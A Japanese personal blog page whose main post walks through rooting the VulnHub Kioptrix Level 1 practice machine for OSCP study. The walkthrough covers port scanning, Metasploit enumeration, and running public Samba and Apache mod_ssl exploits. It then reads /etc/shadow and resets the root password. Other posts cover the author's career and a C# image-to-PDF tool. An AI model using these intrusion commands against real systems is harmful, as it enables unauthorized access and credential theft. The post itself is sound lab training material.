ひとこと

― 今日のひとこと ―
気付けば前回更新してから2年以上経ってた
(2023.10.25)

2019年12月30日月曜日

Kioptrix攻略 #1

サイバーセキュリティのオフェンシブな技術を実践すべく敢えてセキュリティホールを持つよう構築された仮想マシンが集うサービス、VulnHub
2020年内のOSCP取得に向けた学習を兼ねて、VulnHubの仮想マシンの中でも最もOSCPっぽいと名高いKioptrixシリーズに挑戦する。

過去にこのブログで攻略記事を書いていたHackmeは、用意されたWebアプリケーション上の脆弱性を各レベルで1つずつ突いていく構成だった。
少なくとも自分がクリアしたLv1~Lv4については、Webセキュリティにおける脆弱性攻撃の基礎を手で学ぶための、どちらかというと初学者向けのサービスだ。
Kioptrixは、ネットワーク越しに仮想マシンの管理者権限を取得するという目的において、攻撃面はWebに限定されない。
自分が現在クリアしているLv1~Lv2に関していえば、むしろWebだけでは不充分だ。実際の侵入テストと同じく、ステップバイステップで情報を集め、攻撃を試していく必要がある。
その分だけHackmeより多角的・実践的な技術が求められるというわけだ。

とはいえ自分もこういったテストの経験はあまりないので、試行錯誤しながら進めている。
同じくトライ&エラーで進めた方が様々勉強になるのは明らかなので、「何から手を付ければいいのか全然わからねぇ...」というシャイボーイ以外はここでページを閉じ、まず自力で解いてみることをお勧めする。

なお、ただ解き方を書き残すのではなく、どう考えて何をしたのか?をちまちま書いているため長いです。

仮想マシンの立ち上げについては詳細割愛する。
Kioptrixのrarファイルをダウンロードして展開してVirtualBoxで仮想マシンを立ち上げてネットワークアダプタをNATネットワークにするだけ。たぶん。
(Lv1だけはちょっと設定が面倒なので、このサイトを参考にしてください。)
攻撃にはKali Linuxを使う。基本的に、自身が操作するのは全部Kali。こちらの立ち上げやツールの使い方等についても割愛。


では!




0.Kioptrixマシンを探す

KioptrixマシンはKaliと同じネットワークに存在するはず。なのでまずKaliのIPアドレスを確認する。
ifconfig


自分の環境ではKaliのIPアドレスは10.0.2.5なので、10.0.2.5/24を探索対象にしよう。
nmap 10.0.2.5/24 -T5
単純にnmapでネットワークスキャン。
KioptrixマシンのIPがわかればいいので"-T5"オプションで高速化する。


開いているサービスを見るに、10.0.2.6がKioptrixマシンのようだ。

1.ポートスキャン

KioptrixマシンのIPアドレスを指定して、サービスのバージョンを詳しく調べてみる。
nmap -Pn -sV -p- 10.0.2.6
前回の結果で疎通可能なのは明らかなので"-Pn"でpingを省略し、"-p-"で全ポートを指定した上で"-sV"でバナー情報を取得する。


うーん古い!(古いVMだから当然だけど)
Webシステムのプラットフォームの脆弱性診断なんかをやっていると、よく使われるサービスのバージョン感というか、「このサービスの最新はこのバージョンで、どのバージョンにはこういう脆弱性が報告されている」というのをなんとなく覚えてしまう。
なのでOpenSSH 2.9やらApache 1.3.20やらを見ると、まるで古代遺跡を掘り当てた考古学者のように、これは大変なお宝が眠っていそうだぜ!とわくわくするのだ。
バージョンは出ていないがSambaも気になる。

2.Webアプリケーションのチェック

脆弱性情報を調べる前に、ポート80/443でWebサーバが稼働しているようなので、とりあえずブラウザでアクセスしてみよう。

"Test Page"?ほーん
どんなページがあるか探してみる。
python3 dirsearch.py -u http://10.0.2.6/ -e * -x 403,404
Webサイトのページを探索するツールは色々あるが、自分はdirsearchをよく使う。結果は...
  [01:18:34] 200 -    3KB - /index.html
  [01:18:35] 301 -  294B  - /manual  ->  http://127.0.0.1/manual/
  [01:18:40] 200 -   27B  - /test.php
  [01:18:40] 200 -    4KB - /usage/

RCEか、それに繋がるような脆弱性があるかもしれないと考え、test.phpとusage/を軽く確認したが、特に実りなし。
本格的にWebの脆弱性を探し始めるとかなり時間がかかってしまうので保留とする。
ちなみに、usage/のページに記載されていた、ページで利用されているのであろうソフトウェア「Webalizer Version 2.01」にはRCEの脆弱性(CVE-2002-0180)が報告されている。
しかしそのCVEに対応するExploitは見つけられなかった。

3.サービスのチェックと脆弱性攻撃

nmapで得たバナー情報によると、Kioptrixマシン上で気になるサービスが3つ稼働している。
  • OpenSSH 2.9p2
  • Apache/1.3.20 (Unix)(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
  • Samba
OpenSSHやApacheのバージョンはずいぶん古いし、Sambaは比較的最近でもマルウェアが感染活動に悪用することで知られている。
この3つについて、RCE等でCVSSの高い(必要条件の緩いRCEなので体感CVSS7.0以上くらいの)脆弱性を順番に探していく。

OpenSSH 2.9p2

Webでざっと調べたところ、該当しそうなCVEは4つ。ただ、これらのExploitは見つけられなかった。
  • CVE-2002-0639
  • CVE-2002-0640
  • CVE-2006-5051
  • CVE-2010-4478

OpenSSHにはユーザ列挙の脆弱性がある(&それ脆弱性じゃないぞと公式見解が出た)ことは有名なので、それを試してみる。
Metasploitを使う。
msfconsole
SSHのユーザ列挙の脆弱性をsearchで見つけ、実行する。
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 10.0.2.6
set THREADS 8
set USER_FILE '/usr/share/wordlists/metasploit/unix_users.txt'
run
結果は...
    [+] 10.0.2.6:22 - SSH - User 'adm' found
    [+] 10.0.2.6:22 - SSH - User 'bin' found
    [+] 10.0.2.6:22 - SSH - User 'daemon' found
    [+] 10.0.2.6:22 - SSH - User 'ftp' found
    [+] 10.0.2.6:22 - SSH - User 'games' found
    [+] 10.0.2.6:22 - SSH - User 'gopher' found
    [+] 10.0.2.6:22 - SSH - User 'halt' found
    [+] 10.0.2.6:22 - SSH - User 'lp' found
    [+] 10.0.2.6:22 - SSH - User 'mail' found
    [+] 10.0.2.6:22 - SSH - User 'news' found
    [+] 10.0.2.6:22 - SSH - User 'nobody' found
    [+] 10.0.2.6:22 - SSH - User 'operator' found
    [+] 10.0.2.6:22 - SSH - User 'postgres' found
    [+] 10.0.2.6:22 - SSH - User 'root' found
    [+] 10.0.2.6:22 - SSH - User 'sync' found
    [+] 10.0.2.6:22 - SSH - User 'uucp' found
結構たくさんユーザがいるようで。
ちなみにこれらのユーザに対してhydraで総当たり攻撃してもパスワードは見つけられませんでした。
リストはMetasploit標準のものを使ったとはいえ、そんな文字通り力づくな方法でクリアできたらつまんないよね。

というわけで、OpenSSHから攻めるのは諦める。

Samba

Webアプリケーションの脆弱性は見つかっていないので、気分転換のためApacheではなくSambaを調べることに。
smbclient -L 10.0.2.6
これで普通に接続しただけではバージョンはわからなかった。
まぁこんなのでわかるならきっとnmapが突き止めてくれているか。
他にバージョンを確認する手段を調べたところ、Metasploitに該当するモジュールがあることがわかったので早速使ってみる。

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.0.2.6
set THREADS 8
run

あっさりわかった。Samba 2.2.1aだ。このバージョンに対応する、ちょうどいいCVEは...
  • CVE-2003-0201
この脆弱性はOSごとのExploitが複数公開されている。
Metasploitモジュール含め4つほど試してみたが、うまくいったのはこの1つだけ。
https://www.exploit-db.com/exploits/22469
他はモジュールのコード修正したりgccのオプションいじってみたりしたけど実りなし...ここですごく時間がかかった。

Apache/1.3.20 (Unix)(Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

「"Apache 1.3.20" "exploit" -"kioptrix"」といったキーワードでWeb検索すると、何やらものものしい名称のExploitがすぐに見つかった。
このExploitのREADMEを読めば書いてあるが、なぜそんな名前に...
https://github.com/heltonWernik/OpenLuck

git clone https://github.com/heltonWernik/OpenFuck.git
gcc -o OpenFuck OpenFuck.c -lcrypto
./OpenFuck 0x6b 10.0.2.6 -c 50

4.コマンド実行

SambaやApacheの脆弱性を突いて、Kioptrixマシン上でコマンドを実行できるようになった。
まず確認すべきは自分の権限だ。whoamiで簡単に確認する。
whoami
"root"と出力され、管理者権限でコマンドを実行できていることがわかる。

次に、既存ユーザのパスワードを調べてみる。
cat /etc/passwd
cat /etc/shadow
OpenSSHでのユーザ列挙で判明していたユーザ名がちらほら。
これらの表示結果を基にパスワードハッシュを解析してみたが、10分ほど経過しても解析しきれなかったので中断。
ハッシュ解析にはJohn the Ripperを使った。このツールの使い方はHackme攻略 Lv3の記事を参照。

既存ユーザがだめなら新しいユーザを作ってやる、と考えユーザ作成コマンドを実行
useradd fakeuser
adduser fakeuser
...するも悉く失敗。
仕方ないのでrootのパスワードを変更する。
passwd
これでSSHでログインできるようになったので、試してみる。

やったぜ。

さて、VulnHubのページには"Flag(s) EMail"と記載されているので、メールを探す。
いくつかディレクトリを眺めていると、/var/mail/rootというパスを見つけた。
cd /var/mail
more root
これでファイルを読んでみると...

"If your are reading this, you got root. Congratulations. Level 2 won't be as easy..."

Lv1クリア!


なお、ふと「これsendmailかな」と思いsendmailコマンドを打ってみるとビンゴだったので、moreじゃなくてmailコマンドでもメールが読めます。
あとついでにSSH接続でuseraddしたらユーザ作成できたけど理由がよくわかってない

--------------------------------

久し振りに長めの記事を書いたけどめちゃくちゃ疲れた...Lv2以降書くの億劫だな...


201912近況

2019年1月時点の状況を読むに、このブログを開設したのは2013年01月05日らしいので、もう7年も前だ。

7年。

社会人8年目くらいか。
もうとても新人とは言えないし、SE(システムエンジニア/ソフトウェアエンジニア)でもない。
結婚して、3度も転職して、嬉しいことも嫌なことも数えきれないほどあった。
重いものだなあ、7年とは。

----------------------
さて、サイバーセキュリティ業界で生きていくことを決めた自分は2019年1Qにコンサルファームに転職した。
コンサルファームといっても、エンジニアリング専門の部署に所属しているので、職種はセキュリティエンジニアのまま。

かなり大きな会社だけあって、クライアントも世を響かす有名企業ばかりだ。
楽な案件は無い(というか無茶振りしかない)がそれだけ鍛えられているようにも感じる。

主に脆弱性診断のような技術的な業務を担当するが、コンサルワークも経験した。
スケールとしては大きな案件で、かなりハードかつ正直コンサルワークは向いてなくてしにそうだった。。
一応なんとかなったけど、まさにハードシンクハードワークを地で行くんだなあと感じた。

最近新設のチームに移った(移らざるを得なくなった)がなんと外国籍率100%。
全員ごく最近入社したばかりで、海外の企業から移ってきた人も多い。
なのでチームの公用語は英語。メールもチャットもミーティングも英語。
入社時は「英語は読み書きしかできないんですけど大丈夫ですか?」と3回くらい訊いて、
「問題ない、チームもクライアントも日本人ばかりだから」と言われていたのに
今になって英語が必要になるとは。。

メールやチャットはともかく、英会話はかなり辛い。
まず聞き取りがあまりできない。なんとなく言ってる意味はわかるけど細かい部分がよくわからない。
英語耳のテキスト買ったりベルリッツに通ったりしてるがこればかりはどうしても時間がかかりそうだ。
自分の言いたいことは身振り手振りを交えてなんとか伝えられるが、あまりスムーズにはいかない。

日本の会社で日本人が、言葉の壁で孤立感を覚えるとは。理不尽だ。

とはいえ文句言ってても仕方ないので、英語を覚えるいい機会だと思って頑張るしかないな。
アイルランドの人やロシアの人とは英語でコミュニケーションをなんとか取り続けて、少し仲が良くなった気がする。
この調子でアメリカ人のリーダーともうまく付き合っていきたい。

----------------------
CISSPに合格した。2020年はOSCP取りたい。
CISSPとOSCPがあればセキュリティ全般の高度な知識とペネトレーションテストの実践的な高度な技術が証明できる。
勉強にはVulnHubのKioptrixが良いと聞いたのでとりあえず挑戦中。
Lv2までクリアしていて、次はLv3やろうかというところだ。

----------------------
独立したいが妻から反対されており、少しまいっている。
まだ独身だったら気楽でよかったんだけどなー。

2019年3月3日日曜日

C# Windowsプログラミングおぼえがき No.3 - 画像をまとめてPDF化 -

元同僚から以前もらっていた文書資料がなぜかPNGファイル。しかも数百個。
通勤中にスマホで読みたいがこのままだと不便なので、PDF化することに。

すぐに使えるWebサービスを探してみたけど、ファイル数の上限が20個までだとか、そもそも一時的にとはいえ第三者に私的なファイルを渡したくないとか、そういう理由でどれも使わず。

なので自分でそういうプログラムを作った。自宅のPCがWindowsなので楽にC#で。
(Githubで公開)

特定のディレクトリに存在する画像ファイルをすべて読み取ってひとつのPDFに入れ込む。
> Img2Pdf.exe "C:\img"
とか
> Img2Pdf.exe "C:\img" jpg
というように実行するだけ。

第1引数に対象ディレクトリパスを、
第2引数に対象にしたい拡張子(png or jpg)を指定する。
第2引数を指定しなければ.pngと.jpgと.bmpが対象になる。
実行すると、実行ファイルと同じパスにPDFというディレクトリが生成され、その直下にPDFが生成される。
PDFのファイル名は第1引数で指定したディレクトリの名称になる。上記の例だとimg.pdf。

PDFのページ順はファイル名の自然順になり、
PDFのページサイズは最初のページに依存する(この辺りはあまり作り込んでない)。

作っていて引っかかったのが以下の2点。
1.ページサイズを指定せず処理した場合、解像度の高い画像を処理するとページが見切れてしまう。
2.拡張子を一切制限せず処理した場合、Thumb.dbなどの画像ではないファイルを処理した際に例外が発生する。

ここ1年ほどプログラミングの機会がほとんどなくなっていたので、短時間とはいえやっていて楽しかった。

2019年1月14日月曜日

201901近況

『新人SEの開発memo』と銘打ってこのブログを開設したのは2013年01月05日らしい。
もう6年も前で、当時は横浜のSES企業に勤めはじめる直前だった。

----------------------------------
あれから2度転職し、現在は某メガベンチャーのサイバーセキュリティグループに所属しており、Webセキュリティを専門に業務にあたっている。

Webセキュリティに興味を持ったのは今の会社に入ってからだが、事業会社内のセキュリティ組織という立場上、ターゲットは自社ないし自社プロダクトだけに限定される。
特に関心があり主業務でもあるとある分野では、この環境だとまったく場数が踏めないということに気づいた。

そういうわけで3度目の転職活動を2018年12月からやっていて、サイバーセキュリティ関係で現在3社受けて2社内定。
セキュリティ関係の技術者は巷ではまだまだ不足しているらしく、もともと面接ではなぜか受けが良いこともあり転職活動での苦労は少なかった。
残りの1社の結果は来週通知されるそうだが、エージェントさんが担当者から聞いた感じだと「非常にポジティブ」だそうなので問題ないだろう。
その会社は世界中に拠点を持つ老舗コンサルファームで、今いるチームメンバの質が非常に高いらしく、お給料も他より高そうなので、もし内定していればおそらくそれを受けることになる。
副業として起業を考えていたが、転職先ではどこも競業にあたる内容なので、数年先送りにする。
----------------------------------

あとは何かあるだろうか。

2018年夏にひとつCVEを取った。これは大きいな。
CISSPのバウチャーチケットが今年の7月までなので勉強しないといけないが、気乗りしない。
このブログを見てくださった方から2018年末に直接お仕事をいただいて、久し振りにアプリケーション開発。
某SIEMを開発・販売している会社が主催するセキュリティアナリスト向けのCTFで準優勝した。

この1年は、スキルアップを目指していたこともあっていくつか実績ができたのが良かった。